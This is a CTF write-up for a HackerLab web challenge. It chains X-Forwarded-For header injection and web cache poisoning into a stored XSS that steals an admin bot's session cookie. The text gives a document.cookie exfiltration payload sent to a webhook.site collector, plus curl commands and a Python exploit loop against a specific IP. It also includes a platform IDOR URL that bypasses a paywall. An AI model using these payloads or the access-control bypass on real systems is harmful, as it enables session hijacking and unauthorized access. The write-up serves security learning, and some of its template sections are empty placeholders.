30 проблем админа (30 Admin Problems)
30 проблем админа (30 Admin Problems)
Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: admin_bot_cookie_theft, appended_path_query_absorption, document_location_exfiltration, fake_404_script_src_injection, flask_slash_username_route_bypass, x_forwarded_for_cache_poisoning
Summary
Task: Flask/Werkzeug app whose custom fake-404 page builds a <script src> host from the X-Forwarded-For header and caches the response ~30s. Solution: poison the cache of an authenticated slash-username profile (unroutable → fake-404) so the admin approval bot loads attacker JS and exfiltrates its session cookie (the flag) via document.location OOB redirect.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackerlab| ID:20260711_hackerlab_30_problem_admina - Tags: flask, xss, x_forwarded_for, header_injection, werkzeug, admin_bot, web, cookie_exfiltration, web_cache_poisoning, oob_exfiltration, slash_username_route_bypass
- Indicators: fake 404 page returns HTTP 200 with a themed body, script src host is derived from X-Forwarded-For header, response cached ~30s and served to all users, admin bot only visits /profile/<username>, bot User-Agent BugHTB/1.0
- Source:
20260711_hackerlab_30_problem_admina.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_cookie_theft
- Appended_path_query_absorption
- Document_location_exfiltration
- Fake_404_script_src_injection
- Flask_slash_username_route_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_cookie_theft
- appended_path_query_absorption
- document_location_exfiltration
- fake_404_script_src_injection
- flask_slash_username_route_bypass
- x_forwarded_for_cache_poisoning
- Tags: flask, xss, x_forwarded_for, header_injection, werkzeug, admin_bot, web, cookie_exfiltration, web_cache_poisoning, oob_exfiltration, slash_username_route_bypass
Original Writeup
<details><summary>Click to expand original content</summary>Description
"Первый шаг в решении любой проблемы – это признать её существование"
English: "The first step in solving any problem is acknowledging its existence."
A Flask / Werkzeug 3.0.1 web application with user registration, login, and a
profile-approval workflow. New profiles start inactive; a user can request
approval, which dispatches an admin bot to review the profile. The goal is
to steal the admin bot's session cookie — which turns out to literally contain
the flag.
The "30" in the title is a semantic hint: it refers to the 30-second cache lifetime of the vulnerable page, not to any request count or queue threshold (a deliberate red herring — see Failed approaches).
Recon
- Register + login. New profiles are
inactive.POST /profile/checksubmits an approval request to an admin bot; the bot reviews and rejects, returning the profile toinactive. - Session cookie is a Flask signed cookie carrying only
{user_id, username}. No client-controllable role/status field. flask-unsignagainstcommon-10kand fullrockyou.txt(14,344,391 entries) failed — the secret is not weak, so cookie forgery is out.
Key discovery — the fake 404 page
Visiting any non-existent route returns a themed fake-404 page:
- HTTP 200 (not 404), ~433 bytes, body:
[404] you already know where to go. - The HTML contains an injected script tag:
<script type="text/javascript" src="http://<IP>/static/js/custom.js"></script>
- The
<IP>is derived from theX-Forwarded-Forheader → a header-injection primitive. - The page is cached for ~30 seconds and served to all users during that window → Web Cache Poisoning.
Vulnerability
The fake-404 template builds the <script src> host from the attacker-
controlled X-Forwarded-For header, and the rendered response is stored in a
shared cache for ~30 s. Any user (including the admin bot) served from that
poisoned cache entry loads an attacker-chosen JavaScript file. Because the bot's
session cookie is the flag, this becomes a classic cache-poisoning → stored
XSS → cookie exfiltration chain.
Two subtleties make it work:
-
Getting the admin bot onto a 404 page. The bot only ever visits
/profile/<username>. Flask's default<username>string converter excludes/, so registering a username containing a slash (e.g.test/a) makes/profile/test/aunroutable — it renders the fake-404 page, which is exactly where the poisoned<script>tag lives. -
The server appends
/static/js/custom.jsto whatever host value is injected. So the injected value must be terminated with a query string (?x=) to absorb the appended path harmlessly (see below).
Exploitation
1. Register a slash username
Register a user whose name contains a slash so its profile route hits the fake-404 handler:
username = test/a -> /profile/test/a is unroutable -> fake-404
2. Host the malicious JS on an OOB endpoint
Use an OOB collector (e.g. webhook.site/<token>). The working exfil payload is
a redirect-based one — a generic fetch(..., {mode:'no-cors'}) did not
execute in the bot's browser (User-Agent BugHTB/1.0), but document.location
did:
document.location='https://webhook.site/<token>?cookie='+document.cookie;
3. Poison the cache with X-Forwarded-For (the ?x= trick)
The server appends /static/js/custom.js to the injected host. Terminate the
injected value with ?x= so the appended path is swallowed into the query
string; otherwise webhook.site 404s on /static/js/custom.js and never serves
the payload:
# Injected value: webhook.site/<token>?x= # Server builds src: http://webhook.site/<token>?x=/static/js/custom.js # ^^^^^^^^^^^^^^^^^^^^^^^ absorbed as query curl -s 'http://62.173.140.174:16073/profile/test/a' \ -b "session=<AUTHENTICATED_SESSION>" \ -H 'X-Forwarded-For: webhook.site/8ef6b730-f64f-412e-8e07-4246d8b21fd6?x='
Critical nuance: the injected XFF value is only reliably reflected for an authenticated slash-username profile request. Anonymous probes to arbitrary fake routes kept reflecting the internal container IP (
172.17.0.x) instead of the injected host — a long-lived false negative that wasted many attempts. Always poison via the authenticated/profile/<slash-username>request.
4. Trigger the admin bot within the 30 s window
While the cache is still poisoned (TTL ~30 s), submit an approval request so the admin bot visits the poisoned fake-404 profile:
curl -s 'http://62.173.140.174:16073/profile/check' -X POST \ -b "session=<AUTHENTICATED_SESSION>"
The bot loads http://webhook.site/<token>?x=.../static/js/custom.js, executes
document.location='...?cookie='+document.cookie, and its browser sends the
cookie to the OOB endpoint.
5. Read the exfiltrated cookie
The exfiltrated cookie is the flag:
flag=CODEBY{REDACTED}
Reference exploit driver
#!/usr/bin/env python3
import requests, time
BASE = "http://62.173.140.174:16073"
TOKEN = "8ef6b730-f64f-412e-8e07-4246d8b21fd6" # webhook.site token
XFF = f"webhook.site/{TOKEN}?x=" # ?x= absorbs appended path
s = requests.Session()
# 1) register + login a slash username (test/a) so /profile/test/a -> fake-404
# ... register/login flow, populate s.cookies['session'] ...
while True:
# 2) poison the cache of the authenticated slash-username profile
s.get(f"{BASE}/profile/test/a", headers={"X-Forwarded-For": XFF})
# 3) within the ~30s cache window, dispatch the admin bot
s.post(f"{BASE}/profile/check")
# 4) poll webhook.site/<token> for ?cookie=CODEBY{...}
time.sleep(5)
Bonus — platform IDOR (not the challenge flag)
The official retired writeup PDF is subscription-gated on the HackerLab
platform. The gated route /game_api/files/download/writeup?... returns 403,
but a broken-access-control bug exposes the same file through the generic
unauthenticated route with no privilege check:
/game_api/files/download?folder=writeup_d391d132-8e4a-41e1-8c5b-035c53fb8c5f&name=writeup&type=pdf
This is a platform-level IDOR / broken access control, worth noting but unrelated to the CTF flag.
Failed approaches (do not repeat)
- Injection classes — SQLi / NoSQL / JSON injection, IDOR via
profile/username swap, mass assignment
(
user_id/id/status/active/approved/is_admin/admin/rolein/authand/profile/check): all ignored; the cookie only ever contains{user_id, username}. - Race conditions — 30 identical
POST /profile/check, 30 distinct users, 31 boundary, continuous POST+GET, transient active window: no approval, no flag. The "30" is NOT a request-count / queue threshold. - Username tricks — length-30, Unicode normalization (combining-mark
collision producing literal
admin— a real collision, but privilege follows the numeric user ID, so no escalation), whitespace aliasing, empty/ punctuation-only names, SQL-LIKE wildcard_, path-normalization for/profile/admin: dead ends for auth/approval. - Password properties — length-30 / 72-byte bcrypt boundary / strength: not the criterion.
- Flask secret brute force —
common-10k+ fullrockyou(14,344,391): secret not recoverable, no cookie forgery. - Source / DB disclosure matrix — static traversal,
%2e/%2f/double encoding, backups, SQLite,.git,.env, Dockerfile, Werkzeug debugger/console: all byte-identical fake-404, nothing leaked. - Header-trust bypass —
X-Forwarded-For/X-Real-IP/X-Forwarded-Host/Forwarded: 127.0.0.1to fake a localhost approval: rejected.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR